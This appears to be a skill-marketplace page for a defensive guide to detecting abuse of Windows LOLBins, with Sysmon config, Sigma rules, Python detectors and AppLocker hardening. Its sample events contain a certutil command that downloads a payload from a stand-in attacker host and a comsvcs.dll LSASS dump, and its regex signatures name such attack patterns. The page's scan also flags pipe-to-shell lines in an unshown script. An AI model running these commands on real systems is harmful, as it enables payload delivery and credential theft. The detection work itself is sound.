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mukul975/detecting-living-off-the-land-attacksIngeniería inversa y fuzzing

detecting-living-off-the-land-attacks

⁨Detect abuse of legitimate Windows binaries (LOLBins) used for living⁩

v1.03 instalaciones+3 en 7 días36,3 mil EstrellasApache-2.0sincronizado hace 12 horas

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EscaneoMedio7 hallazgos
  • Script ejecutable incluido con la skillscripts/agent.py
  • command.pipe_to_shellscripts/agent.py:141
  • command.pipe_to_shellscripts/agent.py:142
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Esta entrada todavía no está escrita en tu idioma, así que aparece en English.

Monitor for suspicious use of legitimate Windows binaries (LOLBins) including certutil, mshta, rundll32, regsvr32, and others used in fileless and living-off-the-land attack techniques.

When to Use

  • Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time
  • Investigating alerts where legitimate system binaries appear in unexpected execution contexts
  • Threat hunting across endpoint telemetry for fileless attack indicators
  • Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage
  • Creating Sysmon configurations tuned to capture LOLBin-related process creation events
  • Responding to incidents where adversaries bypassed AV by using only built-in OS tools

Do not use for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.

Prerequisites

  • Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)
  • SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)
  • Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)
  • LOLBAS project reference: https://lolbas-project.github.io/
  • Python 3.8+ with evtx, pandas for offline log analysis
  • Sigma rule repository for cross-platform detection rule authoring

Workflow

Step 1: Deploy a LOLBin-Focused Sysmon Configuration

Create a Sysmon config that captures the process creation and network events needed for LOLBin detection:

xml
<!-- File: sysmon-lolbin-detection.xml -->
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Process Creation: capture all LOLBin executions with full command lines -->
    <RuleGroup name="LOLBin Process Creation" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Image condition="end with">certutil.exe</Image>
        <Image condition="end with">mshta.exe</Image>
        <Image condition="end with">rundll32.exe</Image>
        <Image condition="end with">regsvr32.exe</Image>
        <Image condition="end with">msbuild.exe</Image>
        <Image condition="end with">installutil.exe</Image>
        <Image condition="end with">cmstp.exe</Image>
        <Image condition="end with">wmic.exe</Image>
        <Image condition="end with">bitsadmin.exe</Image>
        <Image condition="end with">certreq.exe</Image>
        <Image condition="end with">esentutl.exe</Image>
        <Image condition="end with">expand.exe</Image>
        <Image condition="end with">extrac32.exe</Image>
        <Image condition="end with">findstr.exe</Image>
        <Image condition="end with">hh.exe</Image>
        <Image condition="end with">ie4uinit.exe</Image>
        <Image condition="end with">mavinject.exe</Image>
        <Image condition="end with">msiexec.exe</Image>
        <Image condition="end with">odbcconf.exe</Image>
        <Image condition="end with">pcalua.exe</Image>
        <Image condition="end with">presentationhost.exe</Image>
        <Image condition="end with">replace.exe</Image>
        <Image condition="end with">xwizard.exe</Image>
        <!-- PowerShell variants -->
        <Image condition="end with">powershell.exe</Image>
        <Image condition="end with">pwsh.exe</Image>
        <!-- Script hosts -->
        <Image condition="end with">cscript.exe</Image>
        <Image condition="end with">wscript.exe</Image>
      </ProcessCreate>
    </RuleGroup>

    <!-- Network connections from LOLBins (highly suspicious) -->
    <RuleGroup name="LOLBin Network" groupRelation="or">
      <NetworkConnect onmatch="include">
        <Image condition="end with">certutil.exe</Image>
        <Image condition="end with">mshta.exe</Image>
        <Image condition="end with">rundll32.exe</Image>
        <Image condition="end with">regsvr32.exe</Image>
        <Image condition="end with">msbuild.exe</Image>
        <Image condition="end with">bitsadmin.exe</Image>
        <Image condition="end with">expand.exe</Image>
        <Image condition="end with">esentutl.exe</Image>
        <Image condition="end with">replace.exe</Image>
      </NetworkConnect>
    </RuleGroup>
  </EventFiltering>
</Sysmon>
powershell
# Install or update Sysmon with the LOLBin config
sysmon64.exe -accepteula -i sysmon-lolbin-detection.xml

# Update existing Sysmon installation
sysmon64.exe -c sysmon-lolbin-detection.xml

Step 2: Build Sigma Detection Rules for Key LOLBins

Write Sigma rules that detect specific abuse patterns, translatable to any SIEM:

yaml
# File: sigma/certutil_download.yml
title: Certutil Used to Download File
id: a1b2c3d4-5678-9abc-def0-123456789abc
status: stable
description: >
  Detects certutil.exe being used to download files from remote URLs,
  a common LOLBin technique for payload delivery (LOLBAS T1105).
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
  - https://attack.mitre.org/techniques/T1105/
author: Threat Detection Team
date: 2026/01/20
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains|all:
      - 'urlcache'
      - '-f'
      - 'http'
  condition: selection
falsepositives:
  - Legitimate certificate enrollment using certutil with URL parameters
level: high
tags:
  - attack.defense_evasion
  - attack.t1218
  - attack.command_and_control
  - attack.t1105
yaml
# File: sigma/mshta_execution.yml
title: MSHTA Executing Remote or Inline Script
id: b2c3d4e5-6789-abcd-ef01-234567890bcd
status: stable
description: >
  Detects mshta.exe executing scripts from URLs or inline VBScript/JavaScript,
  commonly used for application whitelisting bypass and initial access.
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Mshta/
  - https://attack.mitre.org/techniques/T1218/005/
logsource:
  category: process_creation
  product: windows
detection:
  selection_remote:
    Image|endswith: '\mshta.exe'
    CommandLine|contains: 'http'
  selection_inline:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'vbscript:'
      - 'javascript:'
  selection_parent_anomaly:
    Image|endswith: '\mshta.exe'
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\outlook.exe'
      - '\powerpnt.exe'
  condition: selection_remote or selection_inline or selection_parent_anomaly
falsepositives:
  - Legacy HTA-based internal applications
level: high
yaml
# File: sigma/regsvr32_scrobj.yml
title: Regsvr32 Squiblydoo Scriptlet Execution
id: c3d4e5f6-7890-bcde-f012-345678901cde
status: stable
description: >
  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,
  known as the Squiblydoo technique for AppLocker bypass.
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
  - https://attack.mitre.org/techniques/T1218/010/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains|all:
      - 'scrobj.dll'
      - '/i:'
  condition: selection
falsepositives:
  - Legitimate COM scriptlet registration (rare in modern environments)
level: critical

Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns

Parse and correlate Sysmon events to identify suspicious LOLBin execution:

python
import json
import re
from datetime import datetime, timedelta
from collections import defaultdict
from pathlib import Path

# Known LOLBins and their suspicious command-line indicators
LOLBIN_SIGNATURES = {
    "certutil.exe": {
        "suspicious_args": [
            r"-urlcache\s+-f\s+http",
            r"-decode\s+",
            r"-encode\s+",
            r"-verifyctl\s+.*http",
        ],
        "mitre": "T1218, T1105",
        "severity": "high"
    },
    "mshta.exe": {
        "suspicious_args": [
            r"https?://",
            r"vbscript:",
            r"javascript:",
            r"about:",
        ],
        "mitre": "T1218.005",
        "severity": "high"
    },
    "rundll32.exe": {
        "suspicious_args": [
            r"javascript:",
            r"shell32\.dll.*ShellExec_RunDLL",
            r"\\\\.*\\.*\.dll",  # UNC path DLL loading
            r"comsvcs\.dll.*MiniDump",  # LSASS dump via comsvcs
        ],
        "mitre": "T1218.011",
        "severity": "critical"
    },
    "regsvr32.exe": {
        "suspicious_args": [
            r"/s\s+/n\s+/u\s+/i:",
            r"scrobj\.dll",
            r"https?://",
        ],
        "mitre": "T1218.010",
        "severity": "critical"
    },
    "bitsadmin.exe": {
        "suspicious_args": [
            r"/transfer\s+.*https?://",
            r"/create\s+.*\/addfile\s+.*https?://",
            r"/SetNotifyCmdLine",
        ],
        "mitre": "T1197",
        "severity": "high"
    },
    "wmic.exe": {
        "suspicious_args": [
            r"process\s+call\s+create",
            r"/node:",
            r"os\s+get\s+/format:.*https?://",
            r"xsl.*https?://",
        ],
        "mitre": "T1047",
        "severity": "high"
    },
    "msbuild.exe": {
        "suspicious_args": [
            r"\.xml\b",
            r"\.csproj\b",
            r"\\temp\\",
            r"\\appdata\\",
        ],
        "mitre": "T1127.001",
        "severity": "high"
    },
    "mavinject.exe": {
        "suspicious_args": [
            r"/INJECTRUNNING\s+\d+",
        ],
        "mitre": "T1218.013",
        "severity": "critical"
    },
}

def analyze_sysmon_events(events):
    """Analyze Sysmon process creation events for LOLBin abuse."""
    alerts = []

    for event in events:
        image = event.get("Image", "").lower()
        cmdline = event.get("CommandLine", "")
        parent = event.get("ParentImage", "")

        # Check if the process is a known LOLBin
        for lolbin, config in LOLBIN_SIGNATURES.items():
            if image.endswith(lolbin.lower()):
                for pattern in config["suspicious_args"]:
                    if re.search(pattern, cmdline, re.IGNORECASE):
                        alert = {
                            "timestamp": event.get("UtcTime", ""),
                            "hostname": event.get("Computer", ""),
                            "lolbin": lolbin,
                            "command_line": cmdline,
                            "parent_process": parent,
                            "user": event.get("User", ""),
                            "process_id": event.get("ProcessId", ""),
                            "parent_pid": event.get("ParentProcessId", ""),
                            "mitre_technique": config["mitre"],
                            "severity": config["severity"],
                            "matched_pattern": pattern,
                        }
                        alerts.append(alert)
                        break
    return alerts

# Example usage with parsed Sysmon events
sample_events = [
    {
        "UtcTime": "2026-01-20 14:32:15.000",
        "Computer": "WORKSTATION-01",
        "Image": "C:\\Windows\\System32\\certutil.exe",
        "CommandLine": "certutil.exe -urlcache -f http://evil.example.com/payload.exe C:\\temp\\update.exe",
        "ParentImage": "C:\\Windows\\System32\\cmd.exe",
        "User": "CORP\\jsmith",
        "ProcessId": "4532",
        "ParentProcessId": "2108",
    },
    {
        "UtcTime": "2026-01-20 14:33:01.000",
        "Computer": "WORKSTATION-01",
        "Image": "C:\\Windows\\System32\\rundll32.exe",
        "CommandLine": "rundll32.exe comsvcs.dll, MiniDump 624 C:\\temp\\dump.bin full",
        "ParentImage": "C:\\Windows\\System32\\cmd.exe",
        "User": "CORP\\jsmith",
        "ProcessId": "5128",
        "ParentProcessId": "2108",
    },
]

alerts = analyze_sysmon_events(sample_events)
for alert in alerts:
    print(f"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}")
    print(f"  MITRE: {alert['mitre_technique']}")
    print(f"  Command: {alert['command_line'][:120]}")
    print(f"  Parent: {alert['parent_process']}")
    print(f"  User: {alert['user']}")
    print()

Step 4: Detect LOLBin Network Connections

LOLBins making outbound network connections is a strong indicator of malicious use:

python
def detect_lolbin_network_activity(network_events, process_events):
    """Correlate Sysmon network events (ID 3) with process creation (ID 1)
    to find LOLBins making outbound connections."""

    # LOLBins that should rarely make outbound connections
    NETWORK_SUSPICIOUS = {
        "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
        "msbuild.exe", "installutil.exe", "bitsadmin.exe", "esentutl.exe",
        "expand.exe", "replace.exe", "cmstp.exe", "presentationhost.exe",
    }

    alerts = []
    for event in network_events:
        image = event.get("Image", "").lower()
        binary_name = image.split("\\")[-1] if "\\" in image else image

        if binary_name in NETWORK_SUSPICIOUS:
            dest_ip = event.get("DestinationIp", "")
            dest_port = event.get("DestinationPort", "")

            # Skip localhost and internal DNS
            if dest_ip.startswith("127.") or dest_ip == "::1":
                continue

            alert = {
                "type": "lolbin_network_connection",
                "binary": binary_name,
                "destination_ip": dest_ip,
                "destination_port": dest_port,
                "destination_hostname": event.get("DestinationHostname", ""),
                "source_ip": event.get("SourceIp", ""),
                "user": event.get("User", ""),
                "timestamp": event.get("UtcTime", ""),
                "severity": "critical",
            }
            alerts.append(alert)
            print(f"[CRITICAL] {binary_name} connected to "
                  f"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N/A')})")

    return alerts

Step 5: Monitor Anomalous Parent-Child Process Relationships

python
# Suspicious parent-child relationships indicating LOLBin abuse
SUSPICIOUS_PARENT_CHILD = [
    # Office apps spawning LOLBins (macro execution)
    {"parent": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"],
     "child": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
               "wscript.exe", "cscript.exe", "certutil.exe"],
     "severity": "critical", "mitre": "T1204.002"},

    # Explorer spawning script interpreters directly
    {"parent": ["explorer.exe"],
     "child": ["mshta.exe", "regsvr32.exe", "msbuild.exe"],
     "severity": "high", "mitre": "T1218"},

    # WMI provider spawning processes (lateral movement)
    {"parent": ["wmiprvse.exe"],
     "child": ["cmd.exe", "powershell.exe", "mshta.exe"],
     "severity": "critical", "mitre": "T1047"},

    # Services spawning unusual children
    {"parent": ["services.exe"],
     "child": ["cmd.exe", "powershell.exe", "mshta.exe", "rundll32.exe"],
     "severity": "high", "mitre": "T1543.003"},
]

def check_parent_child_anomaly(event):
    """Check if a process creation event has a suspicious parent-child pair."""
    parent = event.get("ParentImage", "").split("\\")[-1].lower()
    child = event.get("Image", "").split("\\")[-1].lower()

    for rule in SUSPICIOUS_PARENT_CHILD:
        if parent in rule["parent"] and child in rule["child"]:
            return {
                "alert_type": "suspicious_parent_child",
                "parent": parent,
                "child": child,
                "command_line": event.get("CommandLine", ""),
                "mitre": rule["mitre"],
                "severity": rule["severity"],
                "hostname": event.get("Computer", ""),
                "user": event.get("User", ""),
                "timestamp": event.get("UtcTime", ""),
            }
    return None

Step 6: Implement AppLocker or WDAC Hardening

Restrict unnecessary LOLBin execution with application control policies:

powershell
# Query current AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Create AppLocker rules to restrict certutil to admin-only
$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix "Block" `
    -FileInformation "C:\Windows\System32\certutil.exe" `
    -User "S-1-1-0" -Deny

# Export current policy for backup before applying changes
Get-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml

# Block specific LOLBins for standard users via GPO script
$lolbins_to_restrict = @(
    "mshta.exe", "cmstp.exe", "msbuild.exe", "installutil.exe",
    "regsvr32.exe", "presentationhost.exe", "ie4uinit.exe",
    "mavinject.exe", "xwizard.exe"
)

foreach ($binary in $lolbins_to_restrict) {
    $path = "C:\Windows\System32\$binary"
    if (Test-Path $path) {
        Write-Output "Restricting: $path"
        # Apply WDAC deny rule via PowerShell
        # In production, use Group Policy or Intune WDAC policies
    }
}

Verification

  • Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins
  • Validate Sigma rules convert correctly to your SIEM query language using sigmac or sigma-cli
  • Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire
  • Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., winword.exe spawning certutil.exe)
  • Confirm LOLBin network connection detection triggers when certutil.exe or mshta.exe reach out to external IPs
  • Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production
  • Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment
  • Cross-reference detections against the LOLBAS project database at https://lolbas-project.github.io/ for completeness

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Hallazgos del escaneo

Revisado el 13 nov 2026

  1. MediaArchivo · Script ejecutable incluido con la skillscripts/agent.py
  2. MediaComando · command.pipe_to_shellscripts/agent.py:141
  3. MediaComando · command.pipe_to_shellscripts/agent.py:142
  4. MediaComando · command.base64_execscripts/agent.py:147
  5. MediaComando · command.pipe_to_shellscripts/agent.py:156
  6. MediaComando · command.pipe_to_shellscripts/agent.py:157
  7. InfoEnlace · Enlaces a dominios externos

Un escaneo limpio baja el riesgo, pero no prueba que el paquete sea seguro. Lee lo que instalas.

VersiónPublicadaCommitSHA-256FirmaCambio de permisos
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